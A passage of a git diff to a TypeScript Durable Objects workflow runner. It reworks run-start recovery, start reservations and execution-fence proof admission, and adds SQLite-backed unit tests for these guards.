recovery.runId, - summary, - ) - : true; - await this.#clearRunOwnerRecovery(!reconciled); + ), + ); + if (state.kind === 'initial') throw new RunStartPendingError(); + return this.#finishRunOwner(recovery, state.summary, state); + } + await this.#assertRunOwnerRecoveryCurrent(recovery); + if (recovered) { + const summary = + recovered.kind === 'ordinary' + ? recovered.summary + : recovered.transition.summary; + if (recovered.kind === 'lifecycle') { + // Runtime already strictly settled the single selected recovery observation. + await this.runOwnership(this.env).settleReservation(recovery.token, []); + const completed = recovered.transition.cleanup.cleanupCompleted + ? summary + : await this.#completeTerminalEffects( + runtime, + recovery.workflowId, + recovery.runId, + recovery.owner, + recovered.transition, + ); + const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort( + recovery.workflowId, + recovery.runId, + completed, + ); + await this.#clearRunOwnerRecovery(recovery, !reconciled); + return completed; + } + await this.runOwnership(this.env).settleReservation(recovery.token, []); + const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort( + recovery.workflowId, + recovery.runId, + summary, + ); + await this.#clearRunOwnerRecovery(recovery, !reconciled); + return summary; + } + const localZero = (): boolean => + recovery.phase === 'prepared' && + ownFrame !== undefined && + this.#startsInFlight.get(key) === ownFrame && + ownFrame.unwound && + ownFrame.token === recovery.token && + isDefinitiveInitialAdmissionRefusal(ownFailure, recovery.execution); + await this.runOwnership(this.env).settleReservation(recovery.token, [ + { kind: 'run', resourceId: recovery.runId }, + ]); + if (recovery.phase === 'prepared' && !localZero()) { + await this.#rearmRunOwnerRecovery(); + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + } + await this.#assertRunOwnerRecoveryCurrent(recovery); + await this.#clearRunOwnerRecovery(recovery, false); + return null; } #runOwnerRecovery(value: unknown): RunOwnerRecovery { - if (value === null || typeof value !== 'object') { - throw new Error('stored run owner recovery is malformed'); - } - const stored = value as Partial; + const stored = recoveryObject(value); + const owner = recoveryObject(stored.owner); if ( - stored.version !== 1 || + stored.version !== 2 || !isPathSafeId(stored.workflowId) || !isPathSafeId(stored.runId) || - !isPathSafeId(stored.token) - ) { + !isPathSafeId(stored.token) || + !isExecutionPrincipalKind(owner.kind) || + !isExecutionPrincipalId(owner.id) + ) throw new Error('stored run owner recovery is malformed'); - } - return { - version: 1, + const rawClaim = + stored.startReservation === undefined + ? undefined + : recoveryObject(stored.startReservation); + const claim = + rawClaim === undefined + ? undefined + : captureReservation( + { + ...rawClaim, + owner: recoveryObject(rawClaim.owner), + binding: recoveryObject(rawClaim.binding), + } as unknown as StartReservationReading, + 'started', + ); + if ( + claim && + (claim.targetKind !== 'workflow' || + claim.targetId !== stored.workflowId || + claim.runId !== stored.runId || + claim.threadId !== undefined) + ) + throw new Error('stored run owner recovery is malformed'); + const base = { + version: 2 as const, workflowId: stored.workflowId, runId: stored.runId, token: stored.token, + owner: { kind: owner.kind, id: owner.id }, + ...(claim ? { startReservation: claim } : {}), }; + if (stored.phase === 'preparing' && !Object.hasOwn(stored, 'execution')) + return { ...base, phase: 'preparing' }; + if (stored.phase !== 'prepared' && stored.phase !== 'prepared-unfenced') + throw new Error('stored run owner recovery is malformed'); + const raw = recoveryObject(stored.execution); + const execution = + stored.phase === 'prepared' + ? normalizeD1RunExecutionIdentity(raw) + : normalizeRunExecutionIdentity(raw); + if ( + execution.tablePrefix !== raw.tablePrefix || + execution.workflowId !== base.workflowId || + execution.runId !== base.runId + ) + throw new Error('stored run owner recovery is malformed'); + return stored.phase === 'prepared' + ? { + ...base, + phase: 'prepared', + execution: normalizeD1RunExecutionIdentity(execution), + } + : { ...base, phase: 'prepared-unfenced', execution }; } async #recoverPendingRunOwner(): Promise { @@ -1505,6 +1914,7 @@ export abstract class DurableObjectRunner { dispatchId, deadlineMs, idempotencyKey: rawIdempotencyKey, + startReservation: suppliedReservation, } = body ?? {}; if (typeof workflowId !== 'string') { return json({ error: 'workflowId is required' }, 400); @@ -1529,28 +1939,51 @@ export abstract class DurableObjectRunner { // would reach the fence's proof-only comparison and the runtime's // reservation as whatever the parser produced. const idempotencyKey = this.#startIdempotencyKey(rawIdempotencyKey); + const startReservation = + suppliedReservation === undefined + ? undefined + : captureReservation( + suppliedReservation as StartReservationReading, + 'started', + ); + if ( + startReservation && + (startReservation.key !== idempotencyKey || + startReservation.runId !== runId || + startReservation.targetKind !== 'workflow' || + startReservation.targetId !== workflowId || + startReservation.threadId !== undefined || + startReservation.owner.kind !== principal.kind || + startReservation.owner.id !== principal.id || + !this.#ensureRuntime().startIdempotency) + ) + throw new InvalidRunRequestError( + 'start reservation does not match the trusted start', + ); const startIdentity = normalizeStartIdentity({ owner: { kind: principal.kind, id: principal.id }, target: { kind: 'workflow', id: workflowId }, }); - // The fence BEFORE any of this object's own reads or writes: the - // schedule-source lookup below, the recovery pass, the journal at - // #armRunOwnerRecovery, and the owner reservation all touch storage, - // and a deployment that is refusing to execute must not leave a run - // half-claimed on its way to saying no. The runtime's own check inside - // start() stays the backstop for every other caller. - // - // The KEY is what admits a proof-only start: in that state the fence - // nominates exactly one key, and a start carrying it is the proof run. - // This check reads the fence but does NOT bind the proof to the run — - // `recordProofRun` belongs to the runtime's own assert, which is the - // last gate before execution and the only one every caller passes. - // Binding here as well would let a start that this route later refused - // (an existing run, a schedule-source mismatch) consume the deployment's - // one proof slot. - const startFence = await this.#readExecutionFence(); - if (!admitsRunStart(startFence, idempotencyKey)) { - throw new ExecutionFencedError(startFence.state, 'run start'); + // Only this local preflight can release the captured claim. Admission + // and proof binding belong to Runtime after durable preparation. + try { + const startFence = await this.#readExecutionFence(); + if (!admitsRunStart(startFence, idempotencyKey)) + throw new ExecutionFencedError(startFence.state, 'run start'); + } catch (error) { + if (startReservation) { + try { + await this.#ensureRuntime().startIdempotency?.releaseReservation( + startReservation, + ); + } catch (releaseError) { + console.error( + 'start reservation preflight release failed', + releaseError, + ); + } + } + throw error; } const source = await this.#startSource( principal, @@ -1567,11 +2000,6 @@ export abstract class DurableObjectRunner { const storedRequestContext = target?.requestContext; const runtime = this.#ensureRuntime(); await this.#recoverPendingRunOwner(); - // Stays on status(), and NOT because failing open would be safer: the - // dangerous shape here is a row miss with no in-memory Run, which - // carries no marker at all, so authoritativeStatus could not tell it - // from an absent run either. The recovery above is what covers the - // interrupted-start case, and it fails closed on an unreadable read. const existing = await runtime.status(workflowId, runId); if (existing) { const registered = await this.runOwnership(this.env).owner( @@ -1589,24 +2017,20 @@ export abstract class DurableObjectRunner { } throw new RunAlreadyExistsError(workflowId, runId, existing.status); } - const recovery: RunOwnerRecovery = { - version: 1, + let recovery: RunOwnerRecovery = { + version: 2, + phase: 'preparing', workflowId, runId, token: crypto.randomUUID(), + owner, + ...(startReservation ? { startReservation } : {}), }; - await this.#armRunOwnerRecovery(recovery); - // From here to the finally below, this object IS the run's execution: - // everything past the journal either persists a snapshot or leaves the - // recovery pass to settle it. That window is exactly what a replaying - // start's liveness probe is asking about, and it is tracked in memory - // on purpose — an evicted isolate loses the entry, which is the true - // answer for a run that is no longer executing anywhere. Registered - // BEFORE the reservation and the runtime's own #activeRuns entry so the - // gap between the claim and core's first persisted snapshot — the one - // window where nothing else can see the run — is covered too. - this.#startsInFlight.add(this.#inFlightKey(workflowId, runId)); + const frame: RunStartFrame = { token: recovery.token, unwound: false }; + const frameKey = this.#inFlightKey(workflowId, runId); + this.#startsInFlight.set(frameKey, frame); try { + await this.#armRunOwnerRecovery(recovery); await this.#reserveRunOwner(runId, owner, recovery.token); let summary: RunSummary; try { @@ -1622,80 +2046,47 @@ export abstract class DurableObjectRunner { attemptToken: recovery.token, ...(mutationEpoch === undefined ? {} : { mutationEpoch }), startIdentity, + startReservation, runOwnerGuard: { owner, reservationToken: recovery.token }, - onPreparedStartIdentity: undefined, + onPreparedStartIdentity: async (execution) => { + recovery = await this.#prepareRunOwner(recovery, execution); + }, ...(idempotencyKey === undefined ? {} : { idempotencyKey }), ...(deadlineMs === undefined ? {} : { deadlineMs: deadlineMs as number }), }); - } catch (error) { - let persisted: RunSummary | null | undefined; - try { - persisted = await runtime.recoverStartAttempt( - workflowId, - runId, - recovery.token, - ); - } catch (recoverError) { - // Logged, never swallowed silently: this read is the only thing - // that could tell an interrupted start apart from a failed one, - // and its own failure is the reason the journal is being left - // armed for the alarm to retry. - console.error( - 'interrupted start could not read authoritative state', - recoverError, - ); - await this.#rearmRunOwnerRecovery(); - throw error; - } - if (persisted) { - const reconciled = - await this.#reconcileSuspensionDeadlinesBestEffort( - workflowId, - runId, - persisted, - ); - await this.#settleRunOwnerBestEffort( - recovery, - false, - !reconciled, - ); - return json(persisted); - } - await this.#settleRunOwnerBestEffort(recovery, true); - throw error; + } finally { + frame.unwound = true; } - // Reconcile BEFORE settling, never after: settling clears the - // recovery journal, and clearing it re-arms from storage — which, on - // a run whose FIRST deadline write has not happened yet, finds no - // record and no journal and deletes the alarm. With the journal - // still stored the write's own arm takes the min of the two due - // times, so no interleaving leaves this object without a wake. - const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort( - workflowId, - runId, - summary, - ); - await this.#settleRunOwnerBestEffort(recovery, false, !reconciled); - // The authoritative RunSummary is the run-progress frame; push it - // to any subscribed run-channel socket at this lifecycle boundary. + summary = await this.#finishRunOwner(recovery, summary); this.#broadcastRunSummary(summary); return json(summary); } catch (error) { - const stored = await this.state?.storage?.get( - RUN_OWNER_RECOVERY_KEY, - ); - if (stored !== undefined) { + frame.unwound = true; + try { + const stored = await this.state?.storage?.get( + RUN_OWNER_RECOVERY_KEY, + ); + if (stored !== undefined) { + const current = this.#runOwnerRecovery(stored); + if (!sameRunRecovery(current, recovery)) + throw new Error('run owner recovery changed'); + const recovered = await this.#recoverRunOwner( + current, + frame, + error, + ); + if (recovered) return json(recovered); + } + } catch (recoveryError) { + console.error('interrupted start recovery failed', recoveryError); await this.#rearmRunOwnerRecovery(); } throw error; } finally { - // Whatever happened, this object is no longer starting the run. The - // delete must be unconditional: an entry left behind would answer - // every later probe "live" for the lifetime of the isolate, turning a - // crashed start's honest UNRESOLVABLE into an endless PENDING. - this.#startsInFlight.delete(this.#inFlightKey(workflowId, runId)); + if (this.#startsInFlight.get(frameKey) === frame) + this.#startsInFlight.delete(frameKey); } }); } @@ -1721,6 +2112,25 @@ export abstract class DurableObjectRunner { ) { this.#assertRunIdentity(workflowId, runId); const runtime = this.#ensureRuntime(); + if (new URL(request.url).searchParams.get('replay') === '1') { + const state = await runtime.authoritativeStartState(workflowId, runId); + if (!state) return json({ error: 'run not found' }, 404); + const identity = state.provenance.startIdentity; + if ( + identity?.target.kind !== 'workflow' || + identity.target.id !== workflowId + ) + throw new RunStateUnreadableError(workflowId, runId); + const execution = normalizeStartExecutionIdentity({ + ...state.execution, + ...identity, + }); + return json( + state.kind === 'initial' + ? { kind: 'initial', execution } + : { kind: 'result', execution, value: state.summary }, + ); + } const summary = await runtime.status(workflowId, runId); if (!summary) return json({ error: 'run not found' }, 404); return json(summary); @@ -1800,10 +2210,7 @@ export abstract class DurableObjectRunner { // answers before it takes the per-run lock. A drain still admits // resumes — the suspended runs it is draining are waiting for exactly // these — and proof-only admits its one nominated run. - const resumeFence = await this.#readExecutionFence(); - if (!admitsExistingRun(resumeFence, runId)) { - throw new ExecutionFencedError(resumeFence.state, 'run resume'); - } + await runtime.assertExistingRunAllowed(workflowId, runId); const summary = await runtime.resume(workflowId, runId, { step: body.step, resumeData, diff --git a/packages/flowsafe/src/do-runner/execution-admission.test.ts b/packages/flowsafe/src/do-runner/execution-admission.test.ts index 4a24cc19..4e5bbe50 100644 --- a/packages/flowsafe/src/do-runner/execution-admission.test.ts +++ b/packages/flowsafe/src/do-runner/execution-admission.test.ts @@ -349,3 +349,36 @@ describe('execution identity and epoch helpers', () => { }); }); }); + +describe('FS8 D3 Runtime activation', () => { + it('recognizes pending structurally and safely without granting generic HTTP errors authority', async () => { + const { RunStartPendingError, isRunStartPendingError } = await import( + './execution-admission.js' + ); + const pending = new RunStartPendingError(); + expect(pending).toMatchObject({ + status: 503, + reason: { code: 'RUN_START_PENDING' }, + name: 'RunStartPendingError', + message: 'run start has no durable execution outcome', + }); + expect(isRunStartPendingError(JSON.parse(JSON.stringify(pending)))).toBe( + true, + ); + for (const value of [ + null, + undefined, + {}, + 503, + { status: 503 }, + { status: 409, reason: { code: 'RUN_START_PENDING' } }, + { status: 503, reason: null }, + { + get status() { + throw new Error('getter'); + }, + }, + ]) + expect(isRunStartPendingError(value)).toBe(false); + }); +}); diff --git a/packages/flowsafe/src/do-runner/execution-admission.ts b/packages/flowsafe/src/do-runner/execution-admission.ts index 6299b7c8..331b1716 100644 --- a/packages/flowsafe/src/do-runner/execution-admission.ts +++ b/packages/flowsafe/src/do-runner/execution-admission.ts @@ -9,6 +9,30 @@ import { DoStatusError } from './do-status-error.js'; import { isPathSafeId } from './path-safe-id.js'; import { validateTablePrefix } from './table-prefix.js'; +export class RunStartPendingError extends DoStatusError { + readonly status = 503; + readonly reason = { code: 'RUN_START_PENDING' } as const; + constructor() { + super('run start has no durable execution outcome'); + this.name = 'RunStartPendingError'; + } +} + +export function isRunStartPendingError(error: unknown): boolean { + try { + if (error === null || typeof error !== 'object') return false; + const candidate = error as { + status?: unknown; + reason?: { code?: unknown }; + }; + return ( + candidate.status === 503 && candidate.reason?.code === 'RUN_START_PENDING' + ); + } catch { + return false; + } +} + export interface MutationEpochContext { readonly mutationEpoch?: number; } diff --git a/packages/flowsafe/src/do-runner/execution-context.test.ts b/packages/flowsafe/src/do-runner/execution-context.test.ts index 72a550f0..3cdbc96a 100644 --- a/packages/flowsafe/src/do-runner/execution-context.test.ts +++ b/packages/flowsafe/src/do-runner/execution-context.test.ts @@ -38,3 +38,17 @@ describe('execution-context trust boundary', () => { expect(Object.hasOwn(safe, '__proto__')).toBe(false); }); }); + +describe('FS8 D3 protected replay stored authority boundary', () => { + it('strips a top-level original-claim lookalike while preserving application payloads', () => { + const payload = { startReservation: { key: 'application-key' } }; + const context = { + startReservation: { key: 'authority-key', binding: { kind: 'unbound' } }, + payload, + }; + expect(stripReservedExecutionContext(context)).toEqual({ payload }); + expect(() => assertNoReservedExecutionContext(context)).toThrow( + ReservedExecutionContextError, + ); + }); +}); diff --git a/packages/flowsafe/src/do-runner/execution-context.ts b/packages/flowsafe/src/do-runner/execution-context.ts index 02c808d7..08ec7ef1 100644 --- a/packages/flowsafe/src/do-runner/execution-context.ts +++ b/packages/flowsafe/src/do-runner/execution-context.ts @@ -29,6 +29,7 @@ export const RESERVED_EXECUTION_CONTEXT_KEYS: readonly string[] = [ GOAL_REQUEST_CONTEXT_KEY, RUN_PROVENANCE_CONTEXT_KEY, RUN_LIFECYCLE_CONTEXT_KEY, + 'startReservation', 'runId', 'threadId', 'resourceId', diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 49c1b93c..9e35cda1 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -39,6 +39,12 @@ import { } from './execution-fence.js'; import { init } from './init.js'; import type { RunnerRuntime } from './runtime.js'; +import { StartIdempotencyStore } from './start-idempotency.js'; + +const fenceDatabases = new WeakMap< + ExecutionFenceStore, + ExecutionFenceDatabase +>(); function fenceFixture(): { sqlite: SqliteDatabase; @@ -47,8 +53,16 @@ function fenceFixture(): { } { const sqlite = openSqlite(); const backing = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; - const db = { prepare: (sql: string) => backing.prepare(sql) }; - return { sqlite, db, fence: new ExecutionFenceStore(db) }; + const db = backing; + const fence = new ExecutionFenceStore(db); + fenceDatabases.set(fence, db); + return { sqlite, db, fence }; +} + +function databaseForFence(fence: ExecutionFenceStore): ExecutionFenceDatabase { + const db = fenceDatabases.get(fence); + if (!db) throw new Error('fixture fence database missing'); + return db; } /** The schema as SQLite records it — the evidence a read wrote no DDL. */ @@ -2054,7 +2068,8 @@ describe('versioned execution fence persistence', () => { }); it('runs all persistence operations on a database without batch', async () => { - const { db } = fenceFixture(); + const { db: backing } = fenceFixture(); + const db = { prepare: (sql: string) => backing.prepare(sql) }; const fence = new ExecutionFenceStore( interceptedDatabase(db, async (_sql, execute) => { const result = await execute(); @@ -2103,7 +2118,7 @@ describe('execution fence admission predicates', () => { proofKey: 'proof-1', proofRunId: 'run-1', }); - expect(admitsExistingRun(proof, 'run-1')).toBe(true); + expect(admitsExistingRun(proof, 'run-1')).toBe(false); expect(admitsExistingRun(proof, 'run-2')).toBe(false); expect(admitsExistingRun(proof)).toBe(false); expect(admitsExistingRun(reading('proof-only'), 'run-1')).toBe(false); @@ -2218,8 +2233,8 @@ describe('init() fence wiring', () => { it('takes a shared store for a { storage } source', async () => { const { fence } = fenceFixture(); const { runtime } = init( - { storage: new InMemoryStore() }, - { startIdempotency: 'none', executionFence: fence }, + { DB: databaseForFence(fence) }, + { executionFence: fence }, ); expect(runtime.executionFence).toBe(fence); @@ -2242,7 +2257,9 @@ describe('init() fence wiring', () => { // is resumed, so a single fixture covers both start and resume. function fencedRuntime(fence: ExecutionFenceStore): RunnerRuntime { const { createWorkflow, createStep, runtime } = init( - { storage: new InMemoryStore() }, + fenceDatabases.has(fence) + ? { DB: databaseForFence(fence) } + : { storage: new InMemoryStore() }, { startIdempotency: 'none', executionFence: fence }, ); const gate = createStep({ @@ -2265,7 +2282,7 @@ function fencedRuntime(fence: ExecutionFenceStore): RunnerRuntime { } describe('RunnerRuntime enforcement', () => { - it('keeps current Runtime provenance and string-only fence behavior in this prerequisite', async () => { + it('FS8 D3 proof activation binds current Runtime provenance and refuses string-only proof', async () => { const { sqlite, db } = fenceFixture(); const { createStep, @@ -2288,20 +2305,23 @@ describe('RunnerRuntime enforcement', () => { }) .then(step) .commit(); - await startIdempotency?.reserve({ + if (!startIdempotency) throw new Error('fixture reservation store missing'); + const reserved = await startIdempotency.reserve({ key: 'key', owner: { kind: 'human', id: 'owner' }, targetKind: 'workflow', targetId: 'unchanged', mintRunId: () => 'run', }); - await startIdempotency?.claim('key', 'run'); + const claim = await startIdempotency.claimReservation(reserved.reservation); + if (!claim) throw new Error('claim missing'); const result = await runtime.start('unchanged', { runId: 'run', inputData: {}, requestedBy: 'owner', requestedByKind: 'human', idempotencyKey: 'key', + startReservation: claim, }); expect(result.status).toBe('success'); const row = sqlite @@ -2311,10 +2331,10 @@ describe('RunnerRuntime enforcement', () => { .get('unchanged', 'run') as { snapshot: string }; expect( JSON.parse(row.snapshot).requestContext['flowsafe.runProvenance'].version, - ).toBe(1); + ).toBe(2); expect(await startIdempotency?.read('key')).toMatchObject({ state: 'terminal', - binding: { kind: 'legacy' }, + binding: { kind: 'bound' }, }); expect( admitsExistingRun( @@ -2330,7 +2350,7 @@ describe('RunnerRuntime enforcement', () => { }, 'run', ), - ).toBe(true); + ).toBe(false); }); it('starts and resumes freely while open', async () => { @@ -2414,13 +2434,26 @@ describe('RunnerRuntime enforcement', () => { ).rejects.toBeInstanceOf(ExecutionFencedError); // #and — the nominated start is admitted, and BINDS the proof run. + const store = new StartIdempotencyStore(databaseForFence(fence)); + const reserved = await store.reserve({ + key: 'proof-key-1', + owner: { kind: 'human', id: 'owner' }, + targetKind: 'workflow', + targetId: 'gated', + mintRunId: () => 'proof-run', + }); + const claim = await store.claimReservation(reserved.reservation); + if (!claim) throw new Error('claim missing'); const started = await runtime.start('gated', { runId: 'proof-run', idempotencyKey: 'proof-key-1', + requestedBy: 'owner', + requestedByKind: 'human', + startReservation: claim, inputData: {}, }); expect(started.status).toBe('suspended'); - await expect(fence.read()).resolves.toEqual({ + await expect(fence.read()).resolves.toMatchObject({ state: 'proof-only', proofKey: 'proof-key-1', proofRunId: 'proof-run', @@ -2436,7 +2469,7 @@ describe('RunnerRuntime enforcement', () => { idempotencyKey: 'proof-key-1', inputData: {}, }), - ).rejects.toBeInstanceOf(ExecutionFencedError); + ).rejects.toMatchObject({ reason: { code: 'EXECUTION_FENCED' } }); // #and — only the proof run may be resumed. await expect( @@ -2454,7 +2487,7 @@ describe('RunnerRuntime enforcement', () => { const { fence } = fenceFixture(); await fence.seed('open'); const { createWorkflow, createStep, runtime } = init( - { storage: new InMemoryStore() }, + { DB: databaseForFence(fence) }, { startIdempotency: 'none', executionFence: fence }, ); const drainMidRun = createStep({ @@ -2518,3 +2551,549 @@ describe('RunnerRuntime enforcement', () => { expect(doErrorResponse(error).status).toBe(503); }); }); + +describe('FS8 D3 proof activation', () => { + const execution = { + tablePrefix: 'proof_', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + owner: { kind: 'human' as const, id: 'owner' }, + target: { kind: 'workflow' as const, id: 'workflow' }, + }; + async function fixture( + intercept?: ( + sql: string, + execute: () => Promise, + ) => Promise, + ) { + const sqlite = openSqlite(); + const backing = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const db = intercept ? interceptedDatabase(backing, intercept) : backing; + const fence = new ExecutionFenceStore(db, { now: () => 50 }); + const store = new StartIdempotencyStore(db, { now: () => 10 }); + await fence.seed('migration-locked'); + await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + }); + const { reservation } = await store.reserve({ + key: 'key', + owner: execution.owner, + targetKind: 'workflow', + targetId: 'workflow', + mintRunId: () => 'run', + }); + const bound = await store.associateReservation(reservation, execution); + sqlite.exec( + 'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT, PRIMARY KEY(workflow_name,run_id))', + ); + const snapshot = { + runId: 'run', + status: 'suspended', + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'generation', + attemptToken: 'attempt', + requestedBy: 'owner', + requestedByKind: 'human', + startIdentity: { owner: execution.owner, target: execution.target }, + resumeCounts: [], + initialAdmission: true, + }, + }, + }; + const writeSnapshot = (value: unknown = snapshot) => + sqlite + .prepare( + 'INSERT OR REPLACE INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)', + ) + .run( + 'workflow', + 'run', + 'resource', + JSON.stringify(value), + 'created', + 'updated', + ); + writeSnapshot(); + const frame = await fence.read(); + const options = { + reservation: bound, + execution, + proof: { + key: 'key', + mutationEpoch: frame.mutationEpoch, + transitionRevision: frame.transitionRevision, + }, + mutationEpoch: 0, + reservationStore: store, + }; + const row = () => + sqlite.prepare('SELECT * FROM flowsafe_execution_fence').get() as Record< + string, + unknown + >; + return { sqlite, db, fence, store, snapshot, writeSnapshot, options, row }; + } + + it('reads and nominates an exact current nonpending owned generation while preserving the receipt', async () => { + const h = await fixture(); + const before = h.row(); + expect(await h.fence.readCurrentRunExecution(execution)).toEqual({ + tablePrefix: 'proof_', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + }); + expect(await h.fence.rebindProofRun(h.options)).toBe(true); + expect(h.row()).toMatchObject({ + proof_run_id: 'run', + proof_table_prefix: 'proof_', + proof_workflow_id: 'workflow', + proof_start_token: 'generation', + updated_at: 50, + last_transition_request: before.last_transition_request, + transition_revision: before.transition_revision, + }); + expect(await h.fence.rebindProofRun(h.options)).toBe(true); + expect(h.row().updated_at).toBe(50); + }); + + it.each([ + 'tablePrefix', + 'workflowId', + 'runId', + 'startToken', + ] as const)('requires matching canonical physical field %s at the proof predicate', (field) => { + const proof = { + tablePrefix: 'proof_', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + }; + expect( + admitsExistingRun( + { state: 'proof-only', proofExecution: proof }, + { ...proof }, + ), + ).toBe(true); + expect( + admitsExistingRun( + { state: 'proof-only', proofExecution: proof }, + { ...proof, [field]: field === 'tablePrefix' ? 'other_' : 'other' }, + ), + ).toBe(false); + expect( + admitsExistingRun( + { state: 'proof-only', proofExecution: proof }, + { ...proof, tablePrefix: 'PROOF_' }, + ), + ).toBe(false); + expect( + admitsExistingRun({ state: 'proof-only', proofRunId: 'run' }, proof), + ).toBe(false); + }); + + it.each([ + 'missing', + 'legacy', + 'unowned', + 'pending', + 'replacement', + ] as const)('does not nominate a %s current snapshot', async (mode) => { + const h = await fixture(); + if (mode === 'missing') + h.sqlite.exec('DELETE FROM proof_mastra_workflow_snapshot'); + else { + const source = h.snapshot.requestContext['flowsafe.runProvenance']; + if (mode === 'legacy') source.version = 1; + if (mode === 'unowned') + delete (source as { startIdentity?: unknown }).startIdentity; + if (mode === 'pending') h.snapshot.status = 'pending'; + if (mode === 'replacement') source.startToken = 'replacement'; + h.writeSnapshot(); + } + const before = h.row(); + const result = await h.fence.rebindProofRun(h.options); + expect(h.row()).toEqual(before); + expect(result).toBe(false); + }); + + it.each([ + 'runId', + 'status', + 'container', + 'provenance', + ] as const)('refuses malformed current snapshot %s as unreadable', async (field) => { + const h = await fixture(); + const state: Record = h.snapshot; + if (field === 'runId') state.runId = 'other'; + if (field === 'status') state.status = 'unknown'; + if (field === 'container') state.steps = []; + if (field === 'provenance') + state.requestContext = { 'flowsafe.runProvenance': { version: 2 } }; + h.writeSnapshot(state); + const before = h.row(); + const outcome = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(h.row()).toEqual(before); + expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + }); + + const rowMutations = [ + [ + 'snapshot-workflow', + "UPDATE proof_mastra_workflow_snapshot SET workflow_name = 'other'", + ], + [ + 'snapshot-run', + "UPDATE proof_mastra_workflow_snapshot SET run_id = 'other'", + ], + [ + 'snapshot-resource', + "UPDATE proof_mastra_workflow_snapshot SET resourceId = 'other'", + ], + [ + 'snapshot-bytes', + "UPDATE proof_mastra_workflow_snapshot SET snapshot = snapshot || ' '", + ], + [ + 'snapshot-created', + "UPDATE proof_mastra_workflow_snapshot SET createdAt = 'other'", + ], + [ + 'snapshot-updated', + "UPDATE proof_mastra_workflow_snapshot SET updatedAt = 'other'", + ], + ['reservation-key', "UPDATE flowsafe_start_idempotency SET key = 'other'"], + [ + 'reservation-owner-kind', + "UPDATE flowsafe_start_idempotency SET owner_kind = 'service'", + ], + [ + 'reservation-owner-id', + "UPDATE flowsafe_start_idempotency SET owner_id = 'other'", + ], + [ + 'reservation-target-kind', + "UPDATE flowsafe_start_idempotency SET target_kind = 'agent'", + ], + [ + 'reservation-target-id', + "UPDATE flowsafe_start_idempotency SET target_id = 'other'", + ], + [ + 'reservation-run', + "UPDATE flowsafe_start_idempotency SET run_id = 'other'", + ], + [ + 'reservation-thread', + "UPDATE flowsafe_start_idempotency SET thread_id = 'thread'", + ], + [ + 'reservation-state', + "UPDATE flowsafe_start_idempotency SET state = 'terminal'", + ], + [ + 'reservation-created', + 'UPDATE flowsafe_start_idempotency SET created_at = 11', + ], + [ + 'reservation-updated', + 'UPDATE flowsafe_start_idempotency SET updated_at = 11', + ], + [ + 'reservation-token', + "UPDATE flowsafe_start_idempotency SET start_token = 'other'", + ], + [ + 'reservation-prefix', + "UPDATE flowsafe_start_idempotency SET start_table_prefix = 'other_'", + ], + [ + 'reservation-workflow', + "UPDATE flowsafe_start_idempotency SET start_workflow_id = 'other'", + ], + [ + 'proof-state', + "UPDATE flowsafe_execution_fence SET state = 'migration-locked'", + ], + ['proof-key', "UPDATE flowsafe_execution_fence SET proof_key = 'other'"], + ['proof-epoch', 'UPDATE flowsafe_execution_fence SET mutation_epoch = 1'], + [ + 'proof-revision', + 'UPDATE flowsafe_execution_fence SET transition_revision = 2', + ], + [ + 'proof-required', + 'UPDATE flowsafe_execution_fence SET require_mutation_epoch = 1', + ], + [ + 'proof-receipt', + 'UPDATE flowsafe_execution_fence SET last_transition_request = NULL', + ], + ] as const; + it.each( + rowMutations, + )('retains exact final SQL guard for %s', async (_label, mutation) => { + let mutate: (() => void) | undefined; + const h = await fixture(async (sql, execute) => { + if ( + sql.startsWith('UPDATE flowsafe_execution_fence') && + sql.includes('EXISTS') + ) { + mutate?.(); + mutate = undefined; + } + return execute(); + }); + mutate = () => h.sqlite.exec(mutation); + const result = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(h.row().proof_run_id).toBeNull(); + expect(result).not.toBe(true); + }); + + it.each([ + 'converges', + 'snapshot-changed', + 'reservation-changed', + 'round-changed', + ] as const)('uses one coherent response-loss query that %s', async (mode) => { + let afterWrite: (() => void) | undefined; + let convergenceReads = 0; + const h = await fixture(async (sql, execute) => { + if ( + sql.startsWith('SELECT * FROM flowsafe_execution_fence') && + sql.includes('EXISTS') + ) + convergenceReads++; + if ( + sql.startsWith('UPDATE flowsafe_execution_fence') && + sql.includes('EXISTS') + ) { + await execute(); + afterWrite?.(); + throw new Error('response lost'); + } + return execute(); + }); + afterWrite = () => { + if (mode === 'snapshot-changed') + h.sqlite.exec( + "UPDATE proof_mastra_workflow_snapshot SET snapshot = snapshot || ' '", + ); + if (mode === 'reservation-changed') + h.sqlite.exec('UPDATE flowsafe_start_idempotency SET updated_at = 11'); + if (mode === 'round-changed') + h.sqlite.exec( + 'UPDATE flowsafe_execution_fence SET transition_revision = 2, last_transition_request = NULL', + ); + }; + const outcome = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(h.row().proof_start_token).toBe('generation'); + expect(convergenceReads).toBe(1); + if (mode === 'converges') expect(outcome).toBe(true); + else expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + }); + + it('preserves a late foreign fence row when the accepted schema lacks the singleton CHECK', async () => { + let inject: (() => void) | undefined; + const h = await fixture(async (sql, execute) => { + if ( + sql.startsWith('UPDATE flowsafe_execution_fence') && + sql.includes('EXISTS') + ) + inject?.(); + return execute(); + }); + const schema = h.sqlite + .prepare( + "SELECT sql FROM sqlite_master WHERE name = 'flowsafe_execution_fence'", + 